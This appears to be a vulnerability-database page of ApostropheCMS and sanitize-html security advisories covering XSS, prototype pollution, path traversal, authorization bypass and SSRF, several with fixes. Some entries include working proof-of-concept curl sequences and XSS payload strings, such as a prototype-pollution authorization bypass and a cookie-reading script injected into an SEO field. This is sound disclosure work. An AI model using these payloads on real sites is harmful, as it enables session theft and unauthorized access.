Threat database
55 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Medium | 5.6 | EPSS 0.3% | Medium5.6EPSS 0.3%CVE Database V5CVE-2026-113652 ApostropheCMS is an open-source Node.js content management system. From 1.25.0 until 1.28.0, uploadfs Azure backend leaks account-level SAS token into every public attachment URL. When uploadfs is configured with the Azure backend and sas: true, createContainer() builds the BlobServiceClient from a URL that embeds the full SAS query string, and Azure SDK v12 derived clients inherit that query string. This issue is fixed in version 1.28.0. | CVE Database V5 | ||
| Low | 3.3 | EPSS 0.3% | CVE-2026-113651apostrophe · Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in… Low3.3EPSS 0.3%CVE Database V5CVE-2026-113651 ApostropheCMS is an open-source Node.js content management system, and uploadfs is its file storage library. Prior to uploadfs 1.28.0, attacker-controlled paths that reach the local backend can contain parent-directory segments that escape the configured upload directory and affect file reads, writes, and deletion on the host filesystem. Exploitability depends on an application exposing the relevant uploadfs operations to untrusted path. This issue is fixed in uploadfs 1.28.0. | CVE Database V5 | ||
| Medium | 5.3 | EPSS 0.3% | CVE-2026-113650apostrophe · Uncontrolled Recursion Medium5.3EPSS 0.3%CVE Database V5CVE-2026-113650 ### Summary Since 2.18.0, when an `<iframe>` is not allowed and `disallowedTagsMode` is `'discard'` (the defaults), its raw-text content is re-sanitized by a recursive call to `sanitizeHtml(text, options)` (the change from #5564, fixing #5550). The recursion has no bound and starts each nested call with a fresh state. Two consequences, both absent from 2.17.7 and 2.17.4: 1. A few kilobytes of unclosed `<iframe>` tags throw `RangeError: Maximum call stack size exceeded` with the default options. Any application that sanitizes untrusted HTML with 2.18.0 can be made to throw on a small crafted input. 2. `nestingLimit` is not enforced across a discarded iframe: each nested iframe restarts the depth count at zero, so the output can be nested arbitrarily deep regardless of the configured limit. ### Affected versions - 2.18.0 (the current `latest`), and the `main` branch at the time of writing (the recursive call is still in `packages/sanitize-html/index.js`, in the `ontext` handler, branch `tag === 'iframe' && !tagAllowed(tag) && options.disallowedTagsMode === 'discard'`). - Not affected: 2.17.7 and 2.17.4 (tested with the same inputs below). Tested with Node.js v26.7.0. ### Reproduction 1: stack overflow with the default options ```js const sanitizeHtml = require('sanitize-html'); // with 2.18.0: sanitizeHtml('<iframe>'.repeat(1000)); // 8,000 chars: returns '' sanitizeHtml('<iframe>'.repeat(2000)); // 16,000 chars: throws RangeError: Maximum call stack size exceeded sanitizeHtml('<iframe>'.repeat(20000)); // 160,000 chars: throws RangeError: Maximum call stack size exceeded ``` Results: | input | 2.17.4 | 2.17.7 | 2.18.0 | |---|---|---|---| | `'<iframe>'.repeat(1000)` | ok | ok | ok | | `'<iframe>'.repeat(2000)` | ok | ok | RangeError | | `'<iframe>'.repeat(20000)` | ok | ok | RangeError | The threshold depends on the remaining stack, so it is lower when `sanitizeHtml` is called from an already deep call stack (for example inside a server-side rendering pass). ### Reproduction 2: `nestingLimit` is bypassed ```js const sanitizeHtml = require('sanitize-html'); const input = ('<iframe>' + '<b>'.repeat(3)).repeat(50) + 'x'; const out = sanitizeHtml(input, { allowedTags: ['b'], nestingLimit: 3 }); // maximum nesting depth of <b> in `out`: // 2.17.4: 2 2.17.7: 0 (fallback escaped as text) 2.18.0: 150 ``` Without an iframe, the same options cap the output at three nested `<b>` in all three versions. With `k` repetitions of `'<iframe>' + '<b>'.repeat(3)`, 2.18.0 returns `3 * k` nested `<b>` (measured for k = 1, 5, 50: depth 3, 15, 150). ### Cause In 2.18.0 the `ontext` handler does: ```js } else if ( tag === 'iframe' && !tagAllowed(tag) && options.disallowedTagsMode === 'discard' ) { result += sanitizeHtml(text, options); } ``` Because htmlparser2 treats `<iframe>` as a raw-text element, the text of an unclosed iframe is the whole remainder of the input; re-parsing it can meet another unclosed `<iframe>`, and so on, one stack frame (and one full re-parse) per iframe. The nested call also starts with its own `depth`, so tags inside the fallback are not counted against `nestingLimit` together with the enclosing tags. ### Possible directions Not a patch, only what would close both effects: bound the recursion (or process the fallback without recursing), and carry the current depth into the nested sanitization so that `nestingLimit` applies to the whole output. | CVE Database V5 | ||
| Low | 3.1 | EPSS 0.3% | CVE-2026-113648apostrophe · Missing Authentication for Critical Function Low3.1EPSS 0.3%CVE Database V5CVE-2026-113648 ApostropheCMS is an open-source Node.js content management system. Prior to 3.7.1 of the import-export module, the API endpoint POST /api/v1/@apostrophecms/import-export/clean-export in @apostrophecms/import-export lacks authentication and authorization checks. Any client—including unauthenticated anonymous users who have obtained the standard CSRF cookie from visiting the site—can directly invoke this route and trigger the underlying self.cleanExport(req) method. This issue is fixed in version 3.7.1. | CVE Database V5 | ||
| Medium | 5.4 | EPSS 0.3% | CVE-2026-112958apostrophe · Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in… Medium5.4EPSS 0.3%CVE Database V5CVE-2026-112958 ## Summary ApostropheCMS widget styles support project-defined schema fields. If a project defines a free-form `string` style field with a CSS `property` and no selector, an editor-controlled value is rendered as an inline CSS declaration. The resulting declaration is then inserted into the widget wrapper's `style="..."` attribute without HTML-attribute escaping. An attacker who can edit the widget can include a double quote in the style value, terminate the `style` attribute, and inject new HTML event-handler attributes. The payload is stored with the widget and executes in the Apostrophe site origin whenever the affected published page is rendered. This is a sibling of CVE-2026-33889 / `GHSA-97v6-998m-fp4g`. The earlier issue escaped from a `<style>` element through a malicious color value. This variant reaches a different sink related to the automatically generated widget wrapper's inline `style` and `class` attributes. ## Details ### Root Cause 1: Free-form string style values retain HTML metacharacters The standard string field converter uses `launder.string()` and length validation. This performs type normalization, not output encoding for an HTML attribute context: [`packages/apostrophe/modules/@apostrophecms/schema/lib/addFieldTypes.js:296-333`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/schema/lib/addFieldTypes.js#L296-L333) ```javascript self.addFieldType({ name: 'string', // ... convert(req, field, data, destination) { destination[field.name] = self.apos.launder.string(data[field.name]); destination[field.name] = checkStringLength( destination[field.name], field.min, field.max ); } }); ``` Quotes therefore remain in a value supplied through a style field. ### Root Cause 2: The value is converted into inline CSS without value validation For a field with `property` but no `selector` or media query, `renderScopedStyles()` selects inline rendering. The generic extractor concatenates the configured property and editor-controlled value: [`packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs:171-228`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/styles/ui/apos/universal/render.mjs#L171-L228) [`packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs:598-647`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/styles/ui/apos/universal/render.mjs#L598-L647) ```javascript rule = `${property}: ${normalized.value}${normalized.unit}`; // ... if (isInline) { return { css: '', classes: [ ...storage.classes ], inline: stringifyRules(storage.styles, true) }; } ``` For example, the value below becomes part of a `font-family` declaration: ```text serif" tabindex="0" autofocus onfocus="document.body.dataset.inline='executed' ``` ### Root Cause 3: Attribute values are serialized without HTML escaping `getWidgetAttributes()` places the inline CSS into an attribute tuple, then concatenates every tuple into `key="value"` without encoding `&`, `<`, `>`, `'`, or `"`: [`packages/apostrophe/modules/@apostrophecms/styles/lib/methods.js:251-322`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/styles/lib/methods.js#L251-L322) ```javascript if (styleParts.length) { attrs.push( [ 'style', `${styleParts.join(';')};` ] ); } if (options.asObject) { return Object.fromEntries(attrs); } return attrs .map(([ key, value ]) => `${key}="${value}"`) .join(' '); ``` The same raw serializer also makes a project-defined free-form `string` style with `class: true` a potential sibling path, because the string is added to `classes` and later serialized into `class="..."`. The inline-property path was the path dynamically verified. ### Root Cause 4: The unsafe string is used by the automatic public wrapper Styled widgets use `getWidgetAttributes()` to create a wrapper around the rendered widget: [`packages/apostrophe/modules/@apostrophecms/widget-type/index.js:448-457`](https://github.com/apostrophecms/apostrophe/blob/aa5170c7df9ff9ea5ac2e72a008f12e28dae6ca8/packages/apostrophe/modules/%40apostrophecms/widget-type/index.js#L448-L457) ```javascript if (hasStyles && self.options.stylesWrapper !== false) { const styles = self.apos.styles.prepareWidgetStyles(widget); const styleTag = self.apos.styles .getWidgetElements(styles, { scene: req.scene }); const wrapperAttrs = self.apos.styles.getWidgetAttributes(styles); return `${styleTag}<div${wrapperAttrs ? ' ' + wrapperAttrs : ''}>${markup}</div>`; } ``` Consequently, the injected attribute is present on normal public page renders, not only in the editor UI. ### Why the CVE-2026-33889 defense does | CVE Database V5 | ||
| Medium | 4.3 | EPSS 0.3% | CVE-2026-112957apostrophe · Missing Authorization Medium4.3EPSS 0.3%CVE Database V5CVE-2026-112957 ### Summary The `getOne` REST endpoint for pages does not apply `viewRole` type-level restrictions or `viewPermission` field-level redaction. An editor-level user who knows a document `_id` can read the full content of admin-only pages and their privileged fields, while the `getAll` endpoint correctly enforces both restrictions. ### Details **Finding 3 — viewRole bypass:** `modules/@apostrophecms/page/index.js` exposes `getRestQuery(req, omitPermissionCheck = false)`. The `getAll` path calls `publicApiCheckAsync` and threads the full query builder pipeline including `viewRole` filtering. The `getOne` path uses a divergent code path that skips this pipeline. A page type declared with `viewRole: 'admin'` is inaccessible via `GET /api/v1/@apostrophecms/page?type=secretPage` (returns 403 to an editor) but is fully returned by `GET /api/v1/@apostrophecms/page/:id:en:published` to the same editor. **Finding 4 — viewPermission field leak:** Fields decorated with `viewPermission: { action: 'edit', type: '@apostrophecms/page' }` are stripped by `removeForbiddenFields` in the `getAll` path but are returned verbatim in `getOne`. An editor who knows any document `_id` can read all `viewPermission`-restricted fields. ### PoC ```bash # Log in as editor, get session jar EDITOR_JAR="..." # getAll — correctly blocked curl -b "$EDITOR_JAR" \ "http://TARGET/api/v1/@apostrophecms/page?type=secretPage" # → 403 Forbidden # getOne — bypassed, returns full document including viewPermission fields curl -b "$EDITOR_JAR" \ "http://TARGET/api/v1/@apostrophecms/page/ADMIN_PAGE_ID:en:published" # → 200 OK, full doc including secretField value ``` ### Impact Editors can read the full content of any page — including those restricted to admins via `viewRole` — if they know or can guess the `_id`. Sensitive field values gated by `viewPermission` are also fully exposed. This breaks the content access control model for any site using these decorators. | CVE Database V5 | ||
| Medium | 6.5 | EPSS 0.3% | CVE-2026-112956apostrophe · Incorrect Authorization Medium6.5EPSS 0.3%CVE Database V5CVE-2026-112956 ## Review scope and evidence limits Package: @apostrophecms/import-export, version 3.7.0. Release tag reviewed: @apostrophecms/import-export@3.7.0, commit 9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce (September 30, 2026). Current main reviewed: 5ce3732be0ebdebb4db0f8ef160c81e8671157e6. The importer, gzip extractor, import permission gate, and core permission implementation have no differences between that release tag and the reviewed main. This follow-up is a static remediation review. We have not repeated the original end-to-end reproductions against the latest release or tested a deployed site. Current exploitability and impact therefore still require maintainer validation; the observations below establish that the reported security checks remain absent in public source. The original emailed PDF contains the original reproduction material. Please refer to that existing private attachment. ## Archive duplicate continuation permits unauthorized published-content replacement The overrideDuplicates() continuation still accepts client-supplied replacement choices, rather than binding them to a server-maintained, user-owned duplicate analysis. The replacement and write helpers do not establish a single canonical resource identity and authorization context before the update. This leaves the reported gap between draft editing authority and the published target selected for replacement unresolved at source level. The original report describes a contributor crossing the publication boundary through duplicate replacement on an import-enabled localized type. We have not repeated that end-to-end sequence on 3.7.0. Suggested remediation: bind continuation state to the initiating user, archive, job, permitted source/target mapping, locale and mode; reject inconsistent identity metadata; derive permissions from the actual loaded target and require publication authority for published targets. Source: overrideDuplicates(), replaceDocId(), and insertOrUpdateDoc() in the [importer](https://github.com/apostrophecms/apostrophe/blob/5ce3732be0ebdebb4db0f8ef160c81e8671157e6/packages/import-export/lib/methods/import.js). ## Coordination Vivek R / Winfunc Original reporting team: Mufeed VH / Winfunc | CVE Database V5 | ||
| Medium | 6.5 | EPSS 0.4% | CVE-2026-112955apostrophe · Uncontrolled Resource Consumption Medium6.5EPSS 0.4%CVE Database V5CVE-2026-112955 ## Review scope and evidence limits Package: @apostrophecms/import-export, version 3.7.0. Release tag reviewed: @apostrophecms/import-export@3.7.0, commit 9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce (September 30, 2026). Current main reviewed: 5ce3732be0ebdebb4db0f8ef160c81e8671157e6. The importer, gzip extractor, import permission gate, and core permission implementation have no differences between that release tag and the reviewed main. This follow-up is a static remediation review. We have not repeated the original end-to-end reproductions against the latest release or tested a deployed site. Current exploitability and impact therefore still require maintainer validation; the observations below establish that the reported security checks remain absent in public source. The original emailed PDF contains the original reproduction material. Please refer to that existing private attachment. ## Import archive extraction lacks resource quotas and failure cleanup The current gzip extractor handles destination write errors and waits for write completion; those parts of the original report should no longer be treated as unchanged. The import routes also now require a logged-in user before big-upload processing, as covered by GHSA-86wm-68pq-5jwq. However, extract() still writes expanded archive entries without per-entry, aggregate decompressed-byte, or entry-count quotas. Archive parsing still precedes document-type authorization. If extraction or parsing fails, import() notifies and rethrows before the later storage.remove() call, with no unconditional cleanup around that lifecycle. The reported residual risk is excessive storage consumption and retained extraction/staging artifacts from authenticated imports. Handling a write error and requiring login do not enforce a storage budget. Suggested remediation: add configurable streaming quotas based on actual decompressed bytes, cap entries and allowed entry types, bound concurrent imports, and clean local and uploadfs artifacts on every failure. Retain continuation artifacts only under explicit ownership, expiry and total-storage limits. Source references: - [Gzip extractor](https://github.com/apostrophecms/apostrophe/blob/5ce3732be0ebdebb4db0f8ef160c81e8671157e6/packages/import-export/lib/formats/gzip.js) - [Import lifecycle and cleanup](https://github.com/apostrophecms/apostrophe/blob/5ce3732be0ebdebb4db0f8ef160c81e8671157e6/packages/import-export/lib/methods/import.js) - [Related authentication fix](https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-86wm-68pq-5jwq) ## Coordination Vivek R / Winfunc Original reporting team: Mufeed VH / Winfunc | CVE Database V5 | ||
| Medium | 5.3 | EPSS 0.3% | Medium5.3EPSS 0.3%CVE Database V5CVE-2026-112954 ApostropheCMS is an open-source Node.js content management system. Prior to 4.34.0, a public REST API type that uses publicApiProjection can expose excluded searchable or sortable field information through search membership and sort ordering oracles. Returned fields remain filtered by the projection, so the issue permits targeted inference about hidden values rather than an unrestricted field dump. This issue is fixed in version 4.34.0. | CVE Database V5 | ||
| Medium | 6.0 | EPSS 0.6% | Medium6.0EPSS 0.6%CVE Database V5CVE-2026-112953 ApostropheCMS is an open-source Node.js content management system. Prior to 3.7.1 of the import-export module, predictable export archive filenames allow an unauthenticated requester to download another user's export from publicly readable export storage before the archive expires or is removed. A user with export permission must first create the archive, and sites with exports disabled, private upload storage, or authenticated upload delivery are not exposed through this network-download path. This issue is fixed in version 3.7.1. | CVE Database V5 | ||
| Medium | 4.3 | EPSS 0.3% | Medium4.3EPSS 0.3%CVE Database V5CVE-2026-112952 ### Summary The `slugTaken` endpoint returns a boolean indicating whether a slug is in use across all document types and visibility levels, with no permission or type filter. Any logged-in user (including editors) can enumerate the slug space of private pages, drafts, and archived content. ### Details `POST /api/v1/@apostrophecms/doc/slugTaken` with body `{ "slug": "target-slug" }` runs a raw existence check against the documents collection. It does not: - Check whether the requesting user has read permission for documents of that type. - Filter by `visibility` (public, loginRequired, private). - Filter by `viewRole`. - Filter by publication status (draft vs published). A single authenticated session can iterate the slug space to enumerate the full content inventory of the CMS, including content the user is explicitly prohibited from viewing. ### PoC ```bash # Any authenticated session works — editor role sufficient curl -b "$EDITOR_JAR" -X POST \ -H "Content-Type: application/json" \ -d '{"slug":"known-private-page-slug"}' \ "http://TARGET/api/v1/@apostrophecms/doc/slugTaken" # → { "taken": true } — confirms private page exists curl -b "$EDITOR_JAR" -X POST \ -H "Content-Type: application/json" \ -d '{"slug":"zzz-nonexistent"}' \ "http://TARGET/api/v1/@apostrophecms/doc/slugTaken" # → { "taken": false } ``` ### Impact Information disclosure. An attacker with any authenticated session can enumerate all slugs in the system, mapping the full content structure of the CMS including private and admin-only content. | CVE Database V5 | ||
| Medium | 5.4 | EPSS 0.3% | CVE-2026-112951apostrophe · Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in… Medium5.4EPSS 0.3%CVE Database V5CVE-2026-112951 ### Summary The color field accepts any string that *begins* with a valid `rgb()` / `hsl()` color, because `TinyColor.isValid` does not anchor its match at the end of the string. An authenticated user with edit rights can store arbitrary HTML after a valid color prefix. When the stored value is rendered , the payload executes, resulting in stored XSS. ### Details Server-side validation of the color field relies on TinyColor: ```js const { TinyColor } = require('@ctrl/tinycolor'); if (!new TinyColor(value).isValid) throw self.apos.error('invalid'); ``` TinyColor's `rgb`/`hsl` matchers are not anchored at the end of the string, while hex matchers are. Tested with @ctrl/tinycolor | Input | `isValid` | |---|---| | `rgb(1,2,3)<img src=x onerror=alert(1)>` | `true` | | `rgb(1,2,3)</textarea><script>alert(1)</script>` | `true` | | `hsl(0,100%,50%);--x:1}</style><script>alert(1)</script>` | `true` | | `#ff0000<img src=x onerror=alert(1)>` | `false` | The value is saved to MongoDB unchanged (not normalized to hex8). ### Relation to GHSA-97v6-998m-fp4g GHSA-97v6 addressed CSS custom property injection escaping a `<style>` context. The root cause (validation that accepts trailing content after a valid color) still exists in <= 4.32.2, so [FILL IN: either "the style-tag sink remains exploitable via `</style>`" OR "a separate HTML sink at X is exploitable"]. Fixing the validation (requiring the full string to be a color, or storing only TinyColor's normalized output) would close both. ### Impact Any user with edit permission can plant persistent JavaScript that runs in the browser of visitors and administrators viewing the affected page, enabling session hijacking and actions as an admin. ### Suggested fix Reject values unless the entire string is a valid color, e.g. normalize on save: ```js const c = new TinyColor(value); if (!c.isValid) throw self.apos.error('invalid'); value = c.toHex8String(); // store only normalized output ``` | CVE Database V5 | ||
| Medium | 5.4 | EPSS 0.3% | CVE-2026-84371apostrophe · Cross-site Scripting Medium5.4EPSS 0.3%CVE Database V5CVE-2026-84371 ApostropheCMS is an open-source Node.js content management system, and sanitize-html provides a simple HTML sanitizer with a clear API. From version 1.9.0 until version 2.17.7, packages/sanitize-html/index.js validates an animation value attribute as one flat URL and does not recognize that attributeName selecting href or xlink:href gives the sibling values, from, to, or by attribute SVG SMIL URL semantics. In configurations that allow the animate, animateColor, animateMotion, animateTransform, or set elements, a values list can begin with a safe fragment and contain a later executable destination that survives allowedSchemesAppliedToAttributes checking. When the sanitized SVG is rendered, the browser can copy that later destination into the live link, and a victim who activates the link can execute script in the application's origin. This issue is fixed in version 2.17.7. | CVE Database V5 | ||
| High | 7.1 | EPSS 0.4% | CVE-2026-71553apostrophe · Prototype Pollution High7.1EPSS 0.4%CVE Database V5CVE-2026-71553 ApostropheCMS is an open-source Node.js content management system. In 4.32.0 and earlier, PATCH /api/v1/article/:id accepts the inherited path toString.call and passes it through the utility module to apos.util.set() and apos.util.get(), allowing an authenticated editor to overwrite the shared Object.prototype.toString function's call property and cause a persistent process-wide denial of service until restart. | CVE Database V5 | ||
| Medium | 6.5 | EPSS 0.3% | Medium6.5EPSS 0.3%CVE Database V5CVE-2026-63669 ApostropheCMS versions prior to 4.32.0 contain an authorization bypass vulnerability in the page move operation. A regression in the move authorization guard disables the check that ensures a page can only be moved into a parent page the user has create rights over. This allows any authenticated user with edit rights on a page to move it under a restricted parent they lack create or edit permissions for. The move triggers an unchecked database update that re-ranks the restricted parent's children, potentially affecting documents the user cannot edit. The vulnerability is reachable via the documented REST API PATCH/PUT route with attacker-controlled parameters. | CVE Database V5 | ||
| Medium | 6.1 | EPSS 0.3% | CVE-2026-63670apostrophe · Cross-site Scripting Medium6.1EPSS 0.3%CVE Database V5CVE-2026-63670 CVE-2026-63670 is a cross-site scripting (XSS) vulnerability in apostrophecms apostrophe affecting versions prior to 2.17.6. It arises when the 'textarea' or 'xmp' tags are included in the allowedTags configuration of the sanitize-html library. Due to a parser discrepancy and unescaped raw-text handling, malicious markup such as <img> tags with event handlers can bypass sanitization and execute in browsers. The default configuration is not affected. The vulnerability has medium severity with a CVSS score of 6.1. | CVE Database V5 | ||
| Medium | 6.5 | EPSS 0.5% | CVE-2026-63667apostrophe · Path Traversal Medium6.5EPSS 0.5%CVE Database V5CVE-2026-63667 ApostropheCMS is an open-source Node.js content management system. Prior to 3.6.2, the import-export module in packages/import-export/lib/formats/gzip.js constructs an attachment source path from the attacker-controlled _id, name, and extension fields in aposAttachments.json without ensuring that the resolved path remains under the extracted attachments directory, allowing an authenticated contributor to import a crafted archive, read a host file with an allowed extension, and publish the copied file at an unauthenticated uploads URL. This issue is fixed in version 3.6.2. | CVE Database V5 | ||
| Critical | 9.1 | EPSS 0.4% | CVE-2026-53609apostrophe · Prototype Pollution Critical9.1EPSS 0.4%CVE Database V5CVE-2026-53609 <img width="1919" height="1046" alt="proto" src="https://github.com/user-attachments/assets/c5c69718-6448-448d-b64b-e3db41ab6ff6" /> ## Summary `apos.util.set()` traverses dot-notation paths without sanitizing `__proto__`, allowing an authenticated editor to write arbitrary values to `Object.prototype` via the `$pullAll` patch operator. A confirmed gadget in `publicApiCheck()` causes this to bypass authorization on all piece-type REST API endpoints for every subsequent unauthenticated request, for the lifetime of the Node.js process. --- ## Details ### Root Cause — `apos.util.set()` (`modules/@apostrophecms/util/index.js` ~line 800) The function splits a dot-notation path and traverses properties without rejecting `__proto__`, `constructor`, or `prototype`: ```js set(o, path, v) { path = path.split('.'); for (i = 0; i < path.length - 1; i++) { o = o[path[i]]; // when path[i] === '__proto__', o becomes Object.prototype } o[path[i]] = v; // mutates Object.prototype } ``` ### Source — `implementPatchOperators()` (`modules/@apostrophecms/schema/index.js` ~line 1737) User-controlled keys from the `$pullAll` operator are passed directly to `apos.util.set()`: ```js _.each(patch.$pullAll, function(val, key) { cloneOriginalBase(key); // uses _.has (hasOwnProperty) self.apos.util.set(patch, key, ...); // key is fully attacker-controlled }); ``` `cloneOriginalBase()` does not sanitize `__proto__` because `_.has()` performs an own-property check. Since `__proto__` is inherited rather than an own property, the clone step is skipped and execution falls through to `apos.util.set()`. The same unsanitized call also appears for direct dot-notation keys in the PATCH body (~line 1811), providing a second independent entry point. --- ### Gadget — `publicApiCheck()` (`modules/@apostrophecms/piece-type/index.js` ~line 1148) ```js publicApiCheck(req) { if (!self.options.publicApiProjection) { if (!self.canAccessApi(req)) { throw self.apos.error('notfound'); } } } ``` Once `Object.prototype.publicApiProjection` is set to any truthy value (for example `[]`), every module instance inherits it. Because JavaScript property lookup resolves inherited properties from `Object.prototype`, the condition: ```js !self.options.publicApiProjection ``` evaluates to `false` for all modules. As a result, the authorization check is skipped for every subsequent request handled by the process. --- ## Proof of Concept **Environment:** ApostropheCMS v4.30.0, Node.js, MongoDB **Prerequisites:** Editor-level credentials ### Step 1 — Confirm Endpoint Is Protected (Unauthenticated) ```bash curl -s http://localhost:3000/api/v1/@apostrophecms/user ``` Response: ```json {"name":"notfound","data":{},"message":"notfound"} ``` --- ### Step 2 — Obtain Editor Token ```bash TOKEN=$(curl -s -X POST http://localhost:3000/api/v1/@apostrophecms/login/login \ -H "Content-Type: application/json" \ -d '{"username":"editor","password":"..."}' \ | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])") ``` --- ### Step 3 — Poison `Object.prototype` via `$pullAll` ```bash curl -X PATCH "http://localhost:3000/api/v1/@apostrophecms/global/{docId}:en:draft" \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -H "Cookie: apos-testapp.csrf=csrf" \ -H "X-XSRF-TOKEN: csrf" \ -d '{"$pullAll":{"__proto__.publicApiProjection":[]}}' ``` Response: ```http HTTP/1.1 200 OK ``` --- ### Step 4 — Authorization Bypass Confirmed (Unauthenticated) ```bash curl -s http://localhost:3000/api/v1/@apostrophecms/user ``` Response: ```json {"pages":0,"currentPage":1,"results":[]} ``` The endpoint now returns a valid paginated response instead of `notfound`. No credentials are supplied. Execution passes `publicApiCheck()` and reaches query processing. The empty result set reflects document-level visibility filtering; the authorization gate itself has been bypassed. ### Cleanup The pollution persists until the Node.js process is restarted. --- ## Impact ### Vulnerability Type **Server-Side Prototype Pollution leading to Authorization Bypass** (CWE-1321) ### Who Is Impacted Any ApostropheCMS installation where at least one editor-level account exists. This is the default configuration for multi-user CMS deployments. ### Security Impact A single PATCH request from an editor permanently modifies authorization behavior for the entire Node.js process. All subsequent unauthenticated requests to piece-type REST API endpoints bypass `publicApiCheck()`. Verified affected endpoints include: - `@apostrophecms/user` - `@apostrophecms/global` Based on the shared authorization implementation, other piece-type REST endpoints appear similarly affected. The bypass affects every unauthenticated visitor until the server is restarted. --- ## Suggested Fix Reject dangerous prototype-related path segments before traversal: ```js if ( p === '__proto__' || | CVE Database V5 | ||
| High | 8.7 | EPSS 0.4% | CVE-2026-53608@apostrophecms/seo · Cross-site Scripting High8.7EPSS 0.4%CVE Database V5CVE-2026-53608 <img width="1919" height="1046" alt="curl" src="https://github.com/user-attachments/assets/8aa19ff1-7f4b-44ee-83d5-d0dd1a0269f6" /> <img width="1919" height="775" alt="xss" src="https://github.com/user-attachments/assets/a65012e8-9b2f-416f-94df-c00493f2ca1d" /> ### Summary The `@apostrophecms/seo` package injects the Google Analytics Tracking ID (`seoGoogleTrackingId`) and Google Tag Manager ID (`seoGoogleTagManager`) directly into `<script>` tag bodies using JavaScript template literals without any sanitization or validation. Any user with editor-level access (the default role for content managers) can set these fields to a malicious value, resulting in stored XSS that executes on every page for every visitor of the site. ### Details The vulnerable code is in `node_modules/@apostrophecms/seo/lib/nodes.js`. **Google Analytics (lines 218–224):** ```javascript // seoGoogleTrackingId is inserted RAW into a <script> body — no escaping, no validation body: [ { raw: ` window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', '${global.seoGoogleTrackingId}'); ` } ] ``` **Google Tag Manager (lines 358–362):** ```javascript body: [ { raw: `(function(w,d,s,l,i){...})(window,document,'script','dataLayer','${global.seoGoogleTagManager}');` } ] ``` These nodes are rendered by `renderNodes()` in ApostropheCMS core (`modules/@apostrophecms/template/index.js` lines 1176–1177): ```javascript if (node.raw != null) { return node.raw; // returned verbatim, no escaping } ``` The fields `seoGoogleTrackingId` and `seoGoogleTagManager` are defined as plain `type: 'string'` values with no pattern, minimum length, or maximum length validation in `seo-fields-global/index.js` lines 347–352. ApostropheCMS's permission model (`@apostrophecms/permission/index.js` line 121) grants editor-level users the ability to edit and publish the global singleton, meaning a contributor does not need administrator access to exploit this issue. ### PoC **Prerequisites:** ApostropheCMS with `@apostrophecms/seo` installed and `seoGoogleAnalytics: true` enabled in module options. An editor-level account. #### Step 1 — Login as editor ```bash curl -s -X POST http://TARGET/api/v1/@apostrophecms/login/login \ -H 'Content-Type: application/json' \ -d '{"username":"editor","password":"password"}' ``` Response: ```json {"token":"YOUR_TOKEN"} ``` #### Step 2 — Get the global document ID ```bash curl -s -H "Authorization: Bearer YOUR_TOKEN" \ http://TARGET/api/v1/@apostrophecms/global ``` Note the `_id` value ending in `:en:draft`. #### Step 3 — Inject payload into Google Analytics ID ```bash curl -s -X PATCH "http://TARGET/api/v1/@apostrophecms/global/GLOBAL_DRAFT_ID" \ -H 'Content-Type: application/json' \ -H "Authorization: Bearer YOUR_TOKEN" \ -d '{"seoGoogleTrackingId":"G-FAKE'"'"'); alert(document.cookie); //"}' ``` #### Step 4 — Publish ```bash curl -s -X POST "http://TARGET/api/v1/@apostrophecms/global/GLOBAL_DRAFT_ID/publish" \ -H "Authorization: Bearer YOUR_TOKEN" ``` #### Step 5 — Visit any page The injected payload appears in `<head>` and executes: ```html <script> gtag('config', 'G-FAKE'); alert(document.cookie); //'); </script> ``` ### Impact This is a Stored Cross-Site Scripting (XSS) vulnerability. Any user with the editor role (the standard content management role in ApostropheCMS) can inject arbitrary JavaScript that executes for every visitor on every page of the site. Impact includes: - Session token theft of all visitors, including other editors and administrators - Full account takeover via stolen administrator cookies - Malware distribution, phishing overlays, or credential harvesting targeting site visitors - Persistent compromise, as the payload remains active until manually removed ### Remediation Validate the tracking ID fields against their expected formats before storage, and escape values before inserting them into script bodies. ```javascript // Validate format before accepting if (value && !/^(G-|UA-|GTM-)[A-Z0-9-]+$/i.test(value)) { throw new Error('Invalid tracking ID format'); } ``` ```javascript // Use safeJsonForScript instead of raw template literals body: [ { json: global.seoGoogleTrackingId } ] ``` Or: ```javascript // Escape the value before insertion raw: `gtag('config', ${JSON.stringify(global.seoGoogleTrackingId)});` ``` <img width="1919" height="775" alt="xss" src="https://github.com/user-attachments/assets/4f1d6708-093a-4f74-828b-937dbeab62e8" /> | CVE Database V5 | ||
| Low | 3.7 | EPSS 0.3% | CVE-2026-53607apostrophe · Server-Side Request Forgery (SSRF) Low3.7EPSS 0.3%CVE Database V5CVE-2026-53607 ### Summary When `prettyUrls: true` is enabled on `@apostrophecms/file` (a documented SEO feature for serving uploaded files at clean URLs), the public pretty-URL handler builds the upstream URL using the raw `Host` HTTP request header: ```js proxyUrl = `${req.protocol}://${req.get('host')}${uglyUrl}` ``` That URL is then `fetch`'ed and the response body + headers are streamed straight back to the requester. Because `Host` is fully attacker-controlled, an **unauthenticated remote** attacker can pivot the apostrophe process to issue outbound HTTP requests against any host it can reach on the private network. The path component is constrained to `/uploads/attachments/<cuid>-<slug>.<ext>` (built from a local-DB lookup), which keeps the impact narrow: cross-instance data exfiltration is neutralised by cuid uniqueness, but blind-SSRF residuals remain (network-topology mapping via response-code / timing differences and verbose proxy/WAF 404 body disclosure). Verified on `apostrophe@4.30.0` (latest); no fixed release exists. - **Affected:** `apostrophe <= 4.30.0` 